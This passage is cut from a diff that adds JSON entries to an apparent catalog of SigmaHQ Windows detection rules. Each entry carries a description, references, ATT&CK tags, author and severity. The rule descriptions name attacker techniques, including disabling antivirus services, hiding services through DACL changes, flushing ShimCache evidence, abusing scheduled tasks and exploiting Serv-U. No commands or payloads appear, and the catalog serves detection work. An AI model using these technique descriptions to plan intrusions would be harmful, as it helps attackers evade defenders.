as Configured in Registry", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_susp_runonce_execution.yml", + "author": "Avneet Singh @v3t0_, oscd.community", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of powershell scripts via Runscripthelper.exe", + "uuid": "eca49c87-8a75-4f13-9c73-a5a29e845f03", + "value": "Suspicious Runscripthelper.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runscripthelper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_susp_runscripthelper.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process run from unusual locations", + "uuid": "15b75071-74cc-47e0-b4c6-b43744a62a2b", + "value": "Suspicious Process Start Locations", + "meta": { + "refs": [ + "https://car.mitre.org/wiki/CAR-2013-05-002", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_run_locations.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "car.2013-05-002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_run_locations.yml", + "author": "juju4, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Remote Utilities RAT (RURAT) from an unsual location (outisde of 'C:\\Program Files')", + "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", + "value": "Execution of Remote Utilities RAT (RURAT) From Unusual Location", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_susp_rurat_exec_location.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", + "uuid": "1c0e41cd-21bb-4433-9acc-4a2cd6367b9b", + "value": "Suspicious Modification Of Scheduled Tasks", + "meta": { + "refs": [ + "Internal Research", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/07/28", + "filename": "proc_creation_win_susp_schtasks_change.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", + "uuid": "dbc1f800-0fe0-4bc0-9c66-292c2abe3f78", + "value": "Delete Important Scheduled Task", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_susp_schtasks_delete.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of schtasks with the delete flag and the asterisk symbole to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", + "uuid": "220457c1-1c9f-4c2e-afe6-9598926222c1", + "value": "Delete All Scheduled Tasks", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_susp_schtasks_delete_all.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", + "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980", + "value": "Disable Important Scheduled Task", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_susp_schtasks_disable.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", + "uuid": "81325ce1-be01-4250-944f-b4789644556f", + "value": "Suspicious Schtasks From Env Var Folder", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", + "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/02/21", + "filename": "proc_creation_win_susp_schtasks_env_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Benign scheduled tasks creations or executions that happen often during software installations", + "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creations that have suspicious action command and folder combinations", + "uuid": "8a8379b8-780b-4dbf-b1e9-31c8d112fefb", + "value": "Schtasks From Suspicious Folders", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/04/15", + "filename": "proc_creation_win_susp_schtasks_folder_combos.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder", + "uuid": "9494479d-d994-40bf-a8b1-eea890237021", + "value": "Suspicious Add Scheduled Task Parent", + "meta": { + "refs": [ + "https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_parent.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/02/23", + "filename": "proc_creation_win_susp_schtasks_parent.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Software installers that run from temporary folders and also install scheduled tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious scheduled task creations with commands that are uncommon", + "uuid": "f2c64357-b1d2-41b7-849f-34d2682c0fad", + "value": "Suspicious Add Scheduled Command Pattern", + "meta": { + "refs": [ + "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/02/23", + "filename": "proc_creation_win_susp_schtasks_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software installers that run from temporary folders and also install scheduled tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creations or modification on a suspicious schedule type", + "uuid": "24c8392b-aa3c-46b7-a545-43f71657fe98", + "value": "Suspicious Schtasks Schedule Types", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_susp_schtasks_schedule_type.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitmate processes that run at logon. Filter according to your environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type", + "uuid": "7a02e22e-b885-4404-b38b-1ddc7e65258a", + "value": "Suspicious Schtasks Schedule Type With High Privileges", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/08/31", + "filename": "proc_creation_win_susp_schtasks_schedule_type_system.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some installers were seen using this method of creation unfortunately. Filter them in your environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "schtasks.exe create task from user AppData\\Local\\Temp", + "uuid": "43f487f0-755f-4c2a-bce7-d6d2eec2fcf8", + "value": "Suspicious Add Scheduled Task From User AppData Temp", + "meta": { + "refs": [ + "malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_user_temp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2021/11/03", + "filename": "proc_creation_win_susp_schtasks_user_temp.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of scheduled tasks in user session", + "uuid": "92626ddd-662c-49e3-ac59-f6535f12d189", + "value": "Scheduled Task Creation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.005", + "attack.s0111", + "car.2013-08-001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_schtask_creation.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative activity", + "Software installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", + "uuid": "39019a4e-317f-4ce3-ae63-309a8c6b53c5", + "value": "Suspicious Scheduled Task Creation Involving Temp Folder", + "meta": { + "refs": [ + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation_temp_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2021/03/11", + "filename": "proc_creation_win_susp_schtask_creation_temp_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity", + "Software installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)", + "uuid": "75bfe6e6-cd8e-429e-91d3-03921e1d7962", + "value": "ScreenConnect Remote Access", + "meta": { + "refs": [ + "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2021/02/11", + "filename": "proc_creation_win_susp_screenconnect_access.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use by administrative staff" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", + "uuid": "0fc35fc3-efe6-4898-8a37-0b233339524f", + "value": "Suspicious ScreenSave Change by Reg.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screensaver_reg.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.002" + ], + "creation_date": "2021/08/19", + "filename": "proc_creation_win_susp_screensaver_reg.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "GPO" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file execution by wscript and cscript", + "uuid": "1e33157c-53b1-41ad-bbcc-780b80b58288", + "value": "WSF/JSE/JS/VBA/VBE File Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_script_execution.yml", + "author": "Michael Haag", + "level": "medium", + "falsepositive": [ + "Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious script executions in temporary folders or folders accessible by environment variables", + "uuid": "1228c958-e64e-4e71-92ad-7d429f4138ba", + "value": "Script Interpreter Execution From Suspicious Folder", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/02/08", + "filename": "proc_creation_win_susp_script_exec_from_env_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious script executions from temporary folder", + "uuid": "a6a39bdb-935c-4f0a-ab77-35f4bbf44d33", + "value": "Suspicious Script Execution From Temp Folder", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_script_exec_from_temp.yml", + "author": "Florian Roth, Max Altgelt, Tim Shelton", + "level": "high", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious DACL modifications that can be used to hide services or make them unstopable", + "uuid": "99cf1e02-00fb-4c0d-8375-563f978dfd37", + "value": "Suspicious Service DACL Modification", + "meta": { + "refs": [ + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003" + ], + "creation_date": "2020/10/16", + "filename": "proc_creation_win_susp_service_dacl_modification.yml", + "author": "Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable", + "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac", + "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet", + "meta": { + "refs": [ + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003" + ], + "creation_date": "2022/10/18", + "filename": "proc_creation_win_susp_service_dacl_modification_set_service.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a service binary running in a suspicious directory", + "uuid": "883faa95-175a-4e22-8181-e5761aeb373c", + "value": "Suspicious Service Binary Directory", + "meta": { + "refs": [ + "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/03/09", + "filename": "proc_creation_win_susp_service_dir.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\nAdversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\n", + "uuid": "6783aa9e-0dc3-49d4-a94a-8b39c5fd700b", + "value": "Stop Or Remove Antivirus Service", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/07", + "filename": "proc_creation_win_susp_service_modification.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", + "uuid": "138d3531-8793-4f50-a2cd-f291b2863d78", + "value": "Suspicious Service Path Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_susp_service_path_modification.yml", + "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of one of the the commands to stop services such as 'net', 'sc'...etc in order to stop critical or important windows services such as AV, Backup...etc. As seen being used in some ransomware scripts", + "uuid": "ce72ef99-22f1-43d4-8695-419dcb5d9330", + "value": "Suspicious Stop Windows Service", + "meta": { + "refs": [ + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1489" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_service_stop.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrator or tools shutting down the services due to upgrade or removal purposes. If you experience some FP please consider adding filters to the parent process launching this command and not removing the entry" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", + "uuid": "75578840-9526-4b2a-9462-af469a45e767", + "value": "Serv-U Exploitation CVE-2021-35211 by DEV-0322", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "cve.2021.35211" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", + "uuid": "58f4ea09-0fc2-4520-ba18-b85c540b0eaf", + "value": "Suspicious Serv-U Process Pattern", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_process_pattern.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555", + "cve.2021.35211" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_servu_process_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "uuid": "b2317cfa-4a47-4ead-b3ff-297438c0bc2d", + "value": "Suspicious Execution of SharpView Aka PowerView", + "meta": { + "refs": [ + "https://github.com/tevora-threat/SharpView/", + "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049", + "attack.t1069.002", + "attack.t1482", + "attack.t1135", + "attack.t1033" + ], + "creation_date": "2021/12/10", + "filename": "proc_creation_win_susp_sharpview.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", + "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d", + "value": "Suspicious Usage Of ShellExec_RunDLL", + "meta": { + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_shellexec_rundll_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious shell spawned from Java host process (e.g. log4j exploitation)", + "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d", + "value": "Suspicious Shells Spawned by Java", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/12/17", + "filename": "proc_creation_win_susp_shell_spawn_by_java.yml", + "author": "Andreas Hunkeler (@Karneades), Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate calls to system binaries", + "Company specific internal usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", + "uuid": "90fb5e62-ca1f-4e22-b42e-cc521874c938", + "value": "Suspicious Shells Spawn by Java Utility Keytool", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/12/22", + "filename": "proc_creation_win_susp_shell_spawn_by_java_keytool.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", + "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445", + "value": "Suspicious Shells Spawn by SQL Server", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_mssql.yml" + ], + "tags": [ + "attack.t1505.003", + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2020/12/11", + "filename": "proc_creation_win_susp_shell_spawn_from_mssql.yml", + "author": "FPT.EagleEye Team, wagga", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes including shells spawnd from WinRM host process", + "uuid": "5cc2cda8-f261-4d88-a2de-e9e193c86716", + "value": "Suspicious Processes Spawned by WinRM", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_winrm.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/05/20", + "filename": "proc_creation_win_susp_shell_spawn_from_winrm.yml", + "author": "Andreas Hunkeler (@Karneades), Markus Neis", + "level": "high", + "falsepositive": [ + "Legitimate WinRM usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions that clear the local ShimCache and remove forensic evidence", + "uuid": "b0524451-19af-4efa-a46f-562a977f792e", + "value": "ShimCache Flush", + "meta": { + "refs": [ + "https://medium.com/@blueteamops/shimcache-flush-89daff28d15e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shimcache_flush.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2021/02/01", + "filename": "proc_creation_win_susp_shimcache_flush.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use of the commandline to shutdown or reboot windows", + "uuid": "34ebb878-1b15-4895-b352-ca2eeb99b274", + "value": "Suspicious Execution of Shutdown", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + 